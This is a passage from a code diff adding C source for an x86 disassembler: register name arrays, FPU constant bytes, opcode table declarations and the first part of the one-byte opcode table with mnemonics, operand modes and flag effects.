+#define OPTYPE_lea 0x19000000 // size set by other operand
+// NOTE: if you change this, you must also update OptypeHandlers[] in disasm_x86.c
+// Be sure to preserve the ordering
+
+//////////////////////////////////////////////////////////////////////
+/////////////////////////////////////////////////////////////////////////
+// Registers
+/////////////////////////////////////////////////////////////////////////
+/////////////////////////////////////////////////////////////////////////
+
+static char *Addressing16[8] = {"bx+si","bx+di","bp+si","bp+di","si","di","bp","bx"};
+static char *MMX_Registers[8] = {"mm0", "mm1", "mm2", "mm3", "mm4", "mm5", "mm6", "mm7"};
+static char *SSE_Registers[8] = {"xmm0", "xmm1", "xmm2", "xmm3", "xmm4", "xmm5", "xmm6", "xmm7"};
+static char *DR_Registers[8] = {"dr0", "dr1", "dr2", "dr3", "dr4", "dr5", "dr6", "dr7"};
+static char *CR_Registers[8] = {"cr0", "cr1", "cr2", "cr3", "cr4", "cr5", "cr6", "cr7"};
+static char *TR_Registers[8] = {"tr0", "tr1", "tr2", "tr3", "tr4", "tr5", "tr6", "tr7"};
+static char *FPU_Registers[8] = {"st(0)", "st(1)", "st(2)", "st(3)", "st(4)", "st(5)", "st(6)", "st(7)"};
+static char *Segments[8] = {"es", "cs", "ss", "ds", "fs", "gs", "ERROR", "ERROR"};
+static char *Registers8[8] = {"al", "cl", "dl", "bl", "ah", "ch", "dh", "bh" };
+static char *Registers16[8] = {"ax", "cx", "dx", "bx", "sp", "bp", "si", "di" };
+static char *Registers32[8] = {"eax", "ecx", "edx", "ebx", "esp", "ebp", "esi", "edi" };
+static char *REX_Registers8[16] = {"al", "cl", "dl", "bl", "spl", "bpl", "sil", "dil", "r8b", "r9b", "r10b", "r11b", "r12b", "r13b", "r14b", "r15b" };
+static char *REX_Registers16[16] = {"ax", "cx", "dx", "bx", "sp", "bp", "si", "di", "r8w", "r9w", "r10w", "r11w", "r12w", "r13w", "r14w", "r15w" };
+static char *REX_Registers32[16] = {"eax", "ecx", "edx", "ebx", "esp", "ebp", "esi", "edi", "r8d", "r9d", "r10d", "r11d", "r12d", "r13d", "r14d", "r15d" };
+static char *REX_Registers64[16] = {"rax", "rcx", "rdx", "rbx", "rsp", "rbp", "rsi", "rdi", "r8", "r9", "r10", "r11", "r12", "r13", "r14", "r15" };
+static char *DataSizes[8+1] = {"byte ptr", "word ptr", "dword ptr", "6_byte ptr", "qword ptr", "10_byte ptr", "INVALID PTR", "INVALID PTR", "oword ptr"};
+
+/////////////////////////////////////////////////////////////////////////
+/////////////////////////////////////////////////////////////////////////
+// FPU constants
+/////////////////////////////////////////////////////////////////////////
+/////////////////////////////////////////////////////////////////////////
+
+BYTE float_0[10] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
+BYTE float_1[10] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0xFF, 0x3F };
+BYTE float_l2t[10] = { 0xFE, 0x8A, 0x1B, 0xCD, 0x4B, 0x78, 0x9A, 0xD4, 0x00, 0x40 };
+BYTE float_l2e[10] = { 0xBC, 0xF0, 0x17, 0x5C, 0x29, 0x3B, 0xAA, 0xB8, 0xFF, 0x3F };
+BYTE float_pi[10] = { 0x35, 0xC2, 0x68, 0x21, 0xA2, 0xDA, 0x0F, 0xC9, 0x00, 0x40 };
+BYTE float_lg2[10] = { 0x99, 0xF7, 0xCF, 0xFB, 0x84, 0x9A, 0x20, 0x9A, 0xFD, 0x3F };
+BYTE float_ln2[10] = { 0xAC, 0x79, 0xCF, 0xD1, 0xF7, 0x17, 0x72, 0xB1, 0xFE, 0x3F };
+
+/////////////////////////////////////////////////////////////////////////
+/////////////////////////////////////////////////////////////////////////
+// Tables
+/////////////////////////////////////////////////////////////////////////
+/////////////////////////////////////////////////////////////////////////
+
+extern X86_OPCODE X86_Opcodes_2[0x100];
+extern X86_OPCODE X86_Group_1_80[8], X86_Group_1_81[8], X86_Group_1_82[8], X86_Group_1_83[8], X86_Group_2_C0[8], X86_Group_2_C1[8], X86_Group_2_D0[8], X86_Group_2_D1[8], X86_Group_2_D2[8], X86_Group_2_D3[8], X86_Group_3_F6[8], X86_Group_3_F7[8], X86_Group_4[8], X86_Group_5[8], X86_Group_6[8], X86_Group_7[8], X86_Group_8[8], X86_Group_9[8], X86_Group_10[8], X86_Group_11[8], X86_Group_12_C6[8], X86_Group_12_C7[8], X86_Group_13[8], X86_Group_14[8], X86_Group_15[8], X86_Group_16[8], X86_Group_17[8], X86_Group_P[8];
+extern X86_OPCODE X86_SSE[0x300], X86_SSE2_Group_13[24], X86_SSE2_Group_14[24], X86_SSE2_Group_15[24];
+extern X86_OPCODE X86_ESC_0[0x48], X86_ESC_1[0x48], X86_ESC_2[0x48], X86_ESC_3[0x48], X86_ESC_3[0x48], X86_ESC_4[0x48], X86_ESC_5[0x48], X86_ESC_6[0x48], X86_ESC_7[0x48];
+extern X86_OPCODE X86_3DNOW_0F[0x100];
+extern X86_OPCODE X86_0F01_ModRM[0x100];
+extern X86_OPCODE X86_Opcode_63[2], X86_Opcode_0F05[2];
+
+/////////////////////////////////////////////////////////////////////////
+/////////////////////////////////////////////////////////////////////////
+// Opcode tables
+/////////////////////////////////////////////////////////////////////////
+/////////////////////////////////////////////////////////////////////////
+
+X86_OPCODE X86_Opcodes_1[0x100] = // 1 byte opcodes
+{
+ { NOGROUP, CPU_I386, ITYPE_ADD, "add", { AMODE_E | OPTYPE_b | OP_DST, AMODE_G | OPTYPE_b | OP_SRC, 0 }, NOCOND, FLAG_COMMON_MOD, NOACTION, IGNORED }, /* 0x00 */
+ { NOGROUP, CPU_I386, ITYPE_ADD, "add", { AMODE_E | OPTYPE_v | OP_DST, AMODE_G | OPTYPE_v | OP_SRC, 0 }, NOCOND, FLAG_COMMON_MOD, NOACTION, IGNORED }, /* 0x01 */
+ { NOGROUP, CPU_I386, ITYPE_ADD, "add", { AMODE_G | OPTYPE_b | OP_DST, AMODE_E | OPTYPE_b | OP_SRC, 0 }, NOCOND, FLAG_COMMON_MOD, NOACTION, IGNORED }, /* 0x02 */
+ { NOGROUP, CPU_I386, ITYPE_ADD, "add", { AMODE_G | OPTYPE_v | OP_DST, AMODE_E | OPTYPE_v | OP_SRC, 0 }, NOCOND, FLAG_COMMON_MOD, NOACTION, IGNORED }, /* 0x03 */
+ { NOGROUP, CPU_I386, ITYPE_ADD, "add", { OPTYPE_REG_AL | OP_DST, AMODE_I | OPTYPE_b | OP_SRC, 0 }, NOCOND, FLAG_COMMON_MOD, NOACTION, IGNORED }, /* 0x04 */
+ { NOGROUP, CPU_I386, ITYPE_ADD, "add", { OPTYPE_REG_xAX_BIG | OP_DST, AMODE_I | OPTYPE_z | OP_SRC, 0 }, NOCOND, FLAG_COMMON_MOD, NOACTION, IGNORED }, /* 0x05 */
+ { NOGROUP, CPU_I386, ITYPE_PUSH, "push", { OPTYPE_ES | OP_SRC, 0, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x06 */
+ { NOGROUP, CPU_I386, ITYPE_POP, "pop", { OPTYPE_ES | OP_DST, 0, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x07 */
+ { NOGROUP, CPU_I386, ITYPE_OR, "or", { AMODE_E | OPTYPE_b | OP_DST, AMODE_G | OPTYPE_b | OP_SRC, 0 }, NOCOND, FLAG_OF_CLR | FLAG_SF_MOD | FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_CLR, NOACTION, IGNORED }, /* 0x08 */
+ { NOGROUP, CPU_I386, ITYPE_OR, "or", { AMODE_E | OPTYPE_v | OP_DST, AMODE_G | OPTYPE_v | OP_SRC, 0 }, NOCOND, FLAG_OF_CLR | FLAG_SF_MOD | FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_CLR, NOACTION, IGNORED }, /* 0x09 */
+ { NOGROUP, CPU_I386, ITYPE_OR, "or", { AMODE_G | OPTYPE_b | OP_DST, AMODE_E | OPTYPE_b | OP_SRC, 0 }, NOCOND, FLAG_OF_CLR | FLAG_SF_MOD | FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_CLR, NOACTION, IGNORED }, /* 0x0A */
+ { NOGROUP, CPU_I386, ITYPE_OR, "or", { AMODE_G | OPTYPE_v | OP_DST, AMODE_E | OPTYPE_v | OP_SRC, 0 }, NOCOND, FLAG_OF_CLR | FLAG_SF_MOD | FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_CLR, NOACTION, IGNORED }, /* 0x0B */
+ { NOGROUP, CPU_I386, ITYPE_OR, "or", { OPTYPE_REG_AL | OP_DST, AMODE_I | OPTYPE_b | OP_SRC, 0 }, NOCOND, FLAG_OF_CLR | FLAG_SF_MOD | FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_CLR, NOACTION, IGNORED }, /* 0x0C */
+ { NOGROUP, CPU_I386, ITYPE_OR, "or", { OPTYPE_REG_xAX_BIG | OP_DST, AMODE_I | OPTYPE_z | OP_SRC, 0 }, NOCOND, FLAG_OF_CLR | FLAG_SF_MOD | FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_CLR, NOACTION, IGNORED }, /* 0x0D */
+ { NOGROUP, CPU_I386, ITYPE_PUSH, "push", { OPTYPE_CS | OP_SRC, 0, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x0E */
+ { X86_Opcodes_2, GROUP }, /* 0x0F */
+ { NOGROUP, CPU_I386, ITYPE_ADD, "adc", { AMODE_E | OPTYPE_b | OP_DST, AMODE_G | OPTYPE_b | OP_SRC, 0 }, NOCOND, FLAG_COMMON_MOD, NOACTION, IGNORED }, /* 0x10 */
+ { NOGROUP, CPU_I386, ITYPE_ADD, "adc", { AMODE_E | OPTYPE_v | OP_DST, AMODE_G | OPTYPE_v | OP_SRC, 0 }, NOCOND, FLAG_COMMON_MOD, NOACTION, IGNORED }, /* 0x11 */
+ { NOGROUP, CPU_I386, ITYPE_ADD, "adc", { AMODE_G | OPTYPE_b | OP_DST, AMODE_E | OPTYPE_b | OP_SRC, 0 }, NOCOND, FLAG_COMMON_MOD, NOACTION, IGNORED }, /* 0x12 */
+ { NOGROUP, CPU_I386, ITYPE_ADD, "adc", { AMODE_G | OPTYPE_v | OP_DST, AMODE_E | OPTYPE_v | OP_SRC, 0 }, NOCOND, FLAG_COMMON_MOD, NOACTION, IGNORED }, /* 0x13 */
+ { NOGROUP, CPU_I386, ITYPE_ADD, "adc", { OPTYPE_REG_AL | OP_DST, AMODE_I | OPTYPE_b | OP_SRC, 0 }, NOCOND, FLAG_COMMON_MOD, NOACTION, IGNORED }, /* 0x14 */
+ { NOGROUP, CPU_I386, ITYPE_ADD, "adc", { OPTYPE_REG_xAX_BIG | OP_DST, AMODE_I | OPTYPE_z | OP_SRC, 0 }, NOCOND, FLAG_COMMON_MOD, NOACTION, IGNORED }, /* 0x15 */
+ { NOGROUP, CPU_I386, ITYPE_PUSH, "push", { OPTYPE_SS | OP_SRC, 0, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x16 */
+ { NOGROUP, CPU_I386, ITYPE_POP, "pop", { OPTYPE_SS | OP_DST, 0, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x17 */
+ { NOGROUP, CPU_I386, ITYPE_SUB, "sbb", { AMODE_E | OPTYPE_b | OP_DST, AMODE_G | OPTYPE_b | OP_SRC, 0 }, NOCOND, FLAG_COMMON_MOD, NOACTION, IGNORED }, /* 0x18 */
+ { NOGROUP, CPU_I386, ITYPE_SUB, "sbb", { AMODE_E | OPTYPE_v | OP_DST, AMODE_G | OPTYPE_v | OP_SRC, 0 }, NOCOND, FLAG_COMMON_MOD, NOACTION, IGNORED }, /* 0x19 */
+ { NOGROUP, CPU_I386, ITYPE_SUB, "sbb", { AMODE_G | OPTYPE_b | OP_DST, AMODE_E | OPTYPE_b | OP_SRC, 0 }, NOCOND, FLAG_COMMON_MOD, NOACTION, IGNORED }, /* 0x1A */
+ { NOGROUP, CPU_I386, ITYPE_SUB, "sbb", { AMODE_G | OPTYPE_v | OP_DST, AMODE_E | OPTYPE_v | OP_SRC, 0 }, NOCOND, FLAG_COMMON_MOD, NOACTION, IGNORED }, /* 0x1B */
+ { NOGROUP, CPU_I386, ITYPE_SUB, "sbb", { OPTYPE_REG_AL | OP_DST, AMODE_I | OPTYPE_b | OP_SRC, 0 }, NOCOND, FLAG_COMMON_MOD, NOACTION, IGNORED }, /* 0x1C */
+ { NOGROUP, CPU_I386, ITYPE_SUB, "sbb", { OPTYPE_REG_xAX_BIG | OP_DST, AMODE_I | OPTYPE_z | OP_SRC, 0 }, NOCOND, FLAG_COMMON_MOD, NOACTION, IGNORED }, /* 0x1D */
+ { NOGROUP, CPU_I386, ITYPE_PUSH, "push", { OPTYPE_DS | OP_SRC, 0, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x1E */
+ { NOGROUP, CPU_I386, ITYPE_POP, "pop", { OPTYPE_DS | OP_DST, 0, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x1F */
+ { NOGROUP, CPU_I386, ITYPE_AND, "and", { AMODE_E | OPTYPE_b | OP_DST, AMODE_G | OPTYPE_b | OP_SRC, 0 }, NOCOND, FLAG_OF_CLR | FLAG_SF_MOD | FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_CLR, NOACTION, IGNORED }, /* 0x20 */
+ { NOGROUP, CPU_I386, ITYPE_AND, "and", { AMODE_E | OPTYPE_v | OP_DST, AMODE_G | OPTYPE_v | OP_SRC, 0 }, NOCOND, FLAG_OF_CLR | FLAG_SF_MOD | FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_CLR, NOACTION, IGNORED }, /* 0x21 */
+ { NOGROUP, CPU_I386, ITYPE_AND, "and", { AMODE_G | OPTYPE_b | OP_DST, AMODE_E | OPTYPE_b | OP_SRC, 0 }, NOCOND, FLAG_OF_CLR | FLAG_SF_MOD | FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_CLR, NOACTION, IGNORED }, /* 0x22 */
+ { NOGROUP, CPU_I386, ITYPE_AND, "and", { AMODE_G | OPTYPE_v | OP_DST, AMODE_E | OPTYPE_v | OP_SRC, 0 }, NOCOND, FLAG_OF_CLR | FLAG_SF_MOD | FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_CLR, NOACTION, IGNORED }, /* 0x23 */
+ { NOGROUP, CPU_I386, ITYPE_AND, "and", { OPTYPE_REG_AL | OP_DST, AMODE_I | OPTYPE_b | OP_SRC, 0 }, NOCOND, FLAG_OF_CLR | FLAG_SF_MOD | FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_CLR, NOACTION, IGNORED }, /* 0x24 */
+ { NOGROUP, CPU_I386, ITYPE_AND, "and", { OPTYPE_REG_xAX_BIG | OP_DST, AMODE_I | OPTYPE_z | OP_SRC, 0 }, NOCOND, FLAG_OF_CLR | FLAG_SF_MOD | FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_CLR, NOACTION, IGNORED }, /* 0x25 */
+ { PREFIX }, /* 0x26 */
+ { NOGROUP, CPU_I386, ITYPE_BCDCONV, "daa", { OPTYPE_REG_AL | OP_SRC | OP_DST, 0, 0 }, NOCOND, FLAG_SF_MOD | FLAG_ZF_MOD | FLAG_AF_MOD | FLAG_PF_MOD | FLAG_CF_MOD, NOACTION, IGNORED }, /* 0x27 */
+ { NOGROUP, CPU_I386, ITYPE_SUB, "sub", { AMODE_E | OPTYPE_b | OP_DST, AMODE_G | OPTYPE_b | OP_SRC, 0 }, NOCOND, FLAG_COMMON_MOD, NOACTION, IGNORED }, /* 0x28 */
+ { NOGROUP, CPU_I386, ITYPE_SUB, "sub", { AMODE_E | OPTYPE_v | OP_DST, AMODE_G | OPTYPE_v | OP_SRC, 0 }, NOCOND, FLAG_COMMON_MOD, NOACTION, IGNORED }, /* 0x29 */
+ { NOGROUP, CPU_I386, ITYPE_SUB, "sub", { AMODE_G | OPTYPE_b | OP_DST, AMODE_E | OPTYPE_b | OP_SRC, 0 }, NOCOND, FLAG_COMMON_MOD, NOACTION, IGNORED }, /* 0x2A */
+ { NOGROUP, CPU_I386, ITYPE_SUB, "sub", { AMODE_G | OPTYPE_v | OP_DST, AMODE_E | OPTYPE_v | OP_SRC, 0 }, NOCOND, FLAG_COMMON_MOD, NOACTION, IGNORED }, /* 0x2B */
+ { NOGROUP, CPU_I386, ITYPE_SUB, "sub", { OPTYPE_REG_AL | OP_DST, AMODE_I | OPTYPE_b | OP_SRC, 0 }, NOCOND, FLAG_COMMON_MOD, NOACTION, IGNORED }, /* 0x2C */
+ { NOGROUP, CPU_I386, ITYPE_SUB, "sub", { OPTYPE_REG_xAX_BIG | OP_DST, AMODE_I | OPTYPE_z | OP_SRC, 0 }, NOCOND, FLAG_COMMON_MOD, NOACTION, IGNORED }, /* 0x2D */
+ { PREFIX }, /* 0x2E */
+ { NOGROUP, CPU_I386, ITYPE_BCDCONV, "das", { OPTYPE_REG_AL | OP_SRC | OP_DST, 0, 0 }, NOCOND, FLAG_SF_MOD | FLAG_ZF_MOD | FLAG_AF_MOD | FLAG_PF_MOD | FLAG_CF_MOD, NOACTION, IGNORED }, /* 0x2F */
+ { NOGROUP, CPU_I386, ITYPE_XOR, "xor", { AMODE_E | OPTYPE_b | OP_DST, AMODE_G | OPTYPE_b | OP_SRC, 0 }, NOCOND, FLAG_OF_CLR | FLAG_SF_MOD | FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_CLR, NOACTION, IGNORED }, /* 0x30 */
+ { NOGROUP, CPU_I386, ITYPE_XOR, "xor", { AMODE_E | OPTYPE_v | OP_DST, AMODE_G | OPTYPE_v | OP_SRC, 0 }, NOCOND, FLAG_OF_CLR | FLAG_SF_MOD | FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_CLR, NOACTION, IGNORED }, /* 0x31 */
+ { NOGROUP, CPU_I386, ITYPE_XOR, "xor", { AMODE_G | OPTYPE_b | OP_DST, AMODE_E | OPTYPE_b | OP_SRC, 0 }, NOCOND, FLAG_OF_CLR | FLAG_SF_MOD | FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_CLR, NOACTION, IGNORED }, /* 0x32 */
+ { NOGROUP, CPU_I386, ITYPE_XOR, "xor", { AMODE_G | OPTYPE_v | OP_DST, AMODE_E | OPTYPE_v | OP_SRC, 0 }, NOCOND, FLAG_OF_CLR | FLAG_SF_MOD | FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_CLR, NOACTION, IGNORED }, /* 0x33 */
+ { NOGROUP, CPU_I386, ITYPE_XOR, "xor", { OPTYPE_REG_AL | OP_DST, AMODE_I | OPTYPE_b | OP_SRC, 0 }, NOCOND, FLAG_OF_CLR | FLAG_SF_MOD | FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_CLR, NOACTION, IGNORED }, /* 0x34 */
+ { NOGROUP, CPU_I386, ITYPE_XOR, "xor", { OPTYPE_REG_xAX_BIG | OP_DST, AMODE_I | OPTYPE_z | OP_SRC, 0 }, NOCOND, FLAG_OF_CLR | FLAG_SF_MOD | FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_CLR, NOACTION, IGNORED }, /* 0x35 */
+ { PREFIX }, /* 0x36 */
+ { NOGROUP, CPU_I386, ITYPE_BCDCONV, "aaa", { OPTYPE_REG_AL | OP_SRC | OP_DST, 0, 0 }, NOCOND, FLAG_AF_MOD | FLAG_CF_MOD, NOACTION, IGNORED }, /* 0x37 */
+ { NOGROUP, CPU_I386, ITYPE_CMP, "cmp", { AMODE_E | OPTYPE_b | OP_SRC, AMODE_G | OPTYPE_b | OP_SRC, 0 }, NOCOND, FLAG_COMMON_MOD, NOACTION, IGNORED }, /* 0x38 */
+ { NOGROUP, CPU_I386, ITYPE_CMP, "cmp", { AMODE_E | OPTYPE_v | OP_SRC, AMODE_G | OPTYPE_v | OP_SRC, 0 }, NOCOND, FLAG_COMMON_MOD, NOACTION, IGNORED }, /* 0x39 */
+ { NOGROUP, CPU_I386, ITYPE_CMP, "cmp", { AMODE_G | OPTYPE_b | OP_SRC, AMODE_E | OPTYPE_b | OP_SRC, 0 }, NOCOND, FLAG_COMMON_MOD, NOACTION, IGNORED }, /* 0x3A */
+ { NOGROUP, CPU_I386, ITYPE_CMP, "cmp", { AMODE_G | OPTYPE_v | OP_SRC, AMODE_E | OPTYPE_v | OP_SRC, 0 }, NOCOND, FLAG_COMMON_MOD, NOACTION, IGNORED }, /* 0x3B */
+ { NOGROUP, CPU_I386, ITYPE_CMP, "cmp", { OPTYPE_REG_AL | OP_SIGNED | OP_SRC, AMODE_I | OPTYPE_b | OP_SIGNED | OP_SRC, 0 }, NOCOND, FLAG_COMMON_MOD, NOACTION, IGNORED }, /* 0x3C */
+ { NOGROUP, CPU_I386, ITYPE_CMP, "cmp", { OPTYPE_REG_xAX_BIG | OP_SIGNED | OP_SRC, AMODE_I | OPTYPE_z | OP_SIGNED | OP_SRC, 0 }, NOCOND, FLAG_COMMON_MOD, NOACTION, IGNORED }, /* 0x3D */
+ { PREFIX }, /* 0x3E */
+ { NOGROUP, CPU_I386, ITYPE_BCDCONV, "aas", { OPTYPE_REG_AL | OP_SRC | OP_DST, 0, 0 }, NOCOND, FLAG_AF_MOD | FLAG_CF_MOD, NOACTION, IGNORED }, /* 0x3F */
+ { NOGROUP, CPU_I386, ITYPE_INC, "inc", { OP_REG | OP_SRC | OP_DST, 0, 0 }, NOCOND, FLAG_OF_MOD|FLAG_SF_MOD|FLAG_ZF_MOD|FLAG_AF_MOD|FLAG_PF_MOD, NOACTION, IGNORED }, /* 0x40 */
+ { NOGROUP, CPU_I386, ITYPE_INC, "inc", { OP_REG | OP_SRC | OP_DST, 0, 0 }, NOCOND, FLAG_OF_MOD|FLAG_SF_MOD|FLAG_ZF_MOD|FLAG_AF_MOD|FLAG_PF_MOD, NOACTION, IGNORED }, /* 0x41 */
+ { NOGROUP, CPU_I386, ITYPE_INC, "inc", { OP_REG | OP_SRC | OP_DST, 0, 0 }, NOCOND, FLAG_OF_MOD|FLAG_SF_MOD|FLAG_ZF_MOD|FLAG_AF_MOD|FLAG_PF_MOD, NOACTION, IGNORED }, /* 0x42 */
+ { NOGROUP, CPU_I386, ITYPE_INC, "inc", { OP_REG | OP_SRC | OP_DST, 0, 0 }, NOCOND, FLAG_OF_MOD|FLAG_SF_MOD|FLAG_ZF_MOD|FLAG_AF_MOD|FLAG_PF_MOD, NOACTION, IGNORED }, /* 0x43 */
+ { NOGROUP, CPU_I386, ITYPE_INC, "inc", { OP_REG | OP_SRC | OP_DST, 0, 0 }, NOCOND, FLAG_OF_MOD|FLAG_SF_MOD|FLAG_ZF_MOD|FLAG_AF_MOD|FLAG_PF_MOD, NOACTION, IGNORED }, /* 0x44 */
+ { NOGROUP, CPU_I386, ITYPE_INC, "inc", { OP_REG | OP_SRC | OP_DST, 0, 0 }, NOCOND, FLAG_OF_MOD|FLAG_SF_MOD|FLAG_ZF_MOD|FLAG_AF_MOD|FLAG_PF_MOD, NOACTION, IGNORED }, /* 0x45 */
+ { NOGROUP, CPU_I386, ITYPE_INC, "inc", { OP_REG | OP_SRC | OP_DST, 0, 0 }, NOCOND, FLAG_OF_MOD|FLAG_SF_MOD|FLAG_ZF_MOD|FLAG_AF_MOD|FLAG_PF_MOD, NOACTION, IGNORED }, /* 0x46 */
+ { NOGROUP, CPU_I386, ITYPE_INC, "inc", { OP_REG | OP_SRC | OP_DST, 0, 0 }, NOCOND, FLAG_OF_MOD|FLAG_SF_MOD|FLAG_ZF_MOD|FLAG_AF_MOD|FLAG_PF_MOD, NOACTION, IGNORED }, /* 0x47 */
+ { NOGROUP, CPU_I386, ITYPE_DEC, "dec", { OP_REG | OP_SRC | OP_DST, 0, 0 }, NOCOND, FLAG_OF_MOD|FLAG_SF_MOD|FLAG_ZF_MOD|FLAG_AF_MOD|FLAG_PF_MOD, NOACTION, IGNORED }, /* 0x48 */
+ { NOGROUP, CPU_I386, ITYPE_DEC, "dec", { OP_REG | OP_SRC | OP_DST, 0, 0 }, NOCOND, FLAG_OF_MOD|FLAG_SF_MOD|FLAG_ZF_MOD|FLAG_AF_MOD|FLAG_PF_MOD, NOACTION, IGNORED }, /* 0x49 */
+ { NOGROUP, CPU_I386, ITYPE_DEC, "dec", { OP_REG | OP_SRC | OP_DST, 0, 0 }, NOCOND, FLAG_OF_MOD|FLAG_SF_MOD|FLAG_ZF_MOD|FLAG_AF_MOD|FLAG_PF_MOD, NOACTION, IGNORED }, /* 0x4A */
+ { NOGROUP, CPU_I386, ITYPE_DEC, "dec", { OP_REG | OP_SRC | OP_DST, 0, 0 }, NOCOND, FLAG_OF_MOD|FLAG_SF_MOD|FLAG_ZF_MOD|FLAG_AF_MOD|FLAG_PF_MOD, NOACTION, IGNORED }, /* 0x4B */
+ { NOGROUP, CPU_I386, ITYPE_DEC, "dec", { OP_REG | OP_SRC | OP_DST, 0, 0 }, NOCOND, FLAG_OF_MOD|FLAG_SF_MOD|FLAG_ZF_MOD|FLAG_AF_MOD|FLAG_PF_MOD, NOACTION, IGNORED }, /* 0x4C */
+ { NOGROUP, CPU_I386, ITYPE_DEC, "dec", { OP_REG | OP_SRC | OP_DST, 0, 0 }, NOCOND, FLAG_OF_MOD|FLAG_SF_MOD|FLAG_ZF_MOD|FLAG_AF_MOD|FLAG_PF_MOD, NOACTION, IGNORED }, /* 0x4D */
+ { NOGROUP, CPU_I386, ITYPE_DEC, "dec", { OP_REG | OP_SRC | OP_DST, 0, 0 }, NOCOND, FLAG_OF_MOD|FLAG_SF_MOD|FLAG_ZF_MOD|FLAG_AF_MOD|FLAG_PF_MOD, NOACTION, IGNORED }, /* 0x4E */
+ { NOGROUP, CPU_I386, ITYPE_DEC, "dec", { OP_REG | OP_SRC | OP_DST, 0, 0 }, NOCOND, FLAG_OF_MOD|FLAG_SF_MOD|FLAG_ZF_MOD|FLAG_AF_MOD|FLAG_PF_MOD, NOACTION, IGNORED }, /* 0x4F */
+ { NOGROUP, CPU_I386, ITYPE_PUSH, "push", { OP_REG | OP_SRC, 0, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x50 */
+ { NOGROUP, CPU_I386, ITYPE_PUSH, "push", { OP_REG | OP_SRC, 0, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x51 */
+ { NOGROUP, CPU_I386, ITYPE_PUSH, "push", { OP_REG | OP_SRC, 0, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x52 */
+ { NOGROUP, CPU_I386, ITYPE_PUSH, "push", { OP_REG | OP_SRC, 0, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x53 */
+ { NOGROUP, CPU_I386, ITYPE_PUSH, "push", { OP_REG | OP_SRC, 0, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x54 */
+ { NOGROUP, CPU_I386, ITYPE_PUSH, "push", { OP_REG | OP_SRC, 0, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x55 */
+ { NOGROUP, CPU_I386, ITYPE_PUSH, "push", { OP_REG | OP_SRC, 0, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x56 */
+ { NOGROUP, CPU_I386, ITYPE_PUSH, "push", { OP_REG | OP_SRC, 0, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x57 */
+ { NOGROUP, CPU_I386, ITYPE_POP, "pop", { OP_REG | OP_DST, 0, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x58 */
+ { NOGROUP, CPU_I386, ITYPE_POP, "pop", { OP_REG | OP_DST, 0, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x59 */
+ { NOGROUP, CPU_I386, ITYPE_POP, "pop", { OP_REG | OP_DST, 0, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x5A */
+ { NOGROUP, CPU_I386, ITYPE_POP, "pop", { OP_REG | OP_DST, 0, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x5B */
+ { NOGROUP, CPU_I386, ITYPE_POP, "pop", { OP_REG | OP_DST, 0, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x5C */
+ { NOGROUP, CPU_I386, ITYPE_POP, "pop", { OP_REG | OP_DST, 0, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x5D */
+ { NOGROUP, CPU_I386, ITYPE_POP, "pop", { OP_REG | OP_DST, 0, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x5E */
+ { NOGROUP, CPU_I386, ITYPE_POP, "pop", { OP_REG | OP_DST, 0, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x5F */
+ { NOGROUP, CPU_I386, ITYPE_PUSHA, "pushad", NOARGS, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x60 */
+ { NOGROUP, CPU_I386, ITYPE_POPA, "popad", NOARGS, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x61 */
+ { NOGROUP, CPU_I386, ITYPE_BOUNDS, "bound", { AMODE_G | OPTYPE_v | OP_SRC, AMODE_M | OPTYPE_a | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x62 */
+ { X86_Opcode_63, EXT_64 }, /* 0x63 */
+ { PREFIX }, /* 0x64 */
+ { PREFIX }, /* 0x65 */
+ { PREFIX }, /* 0x66 */
+ { PREFIX }, /* 0x67 */
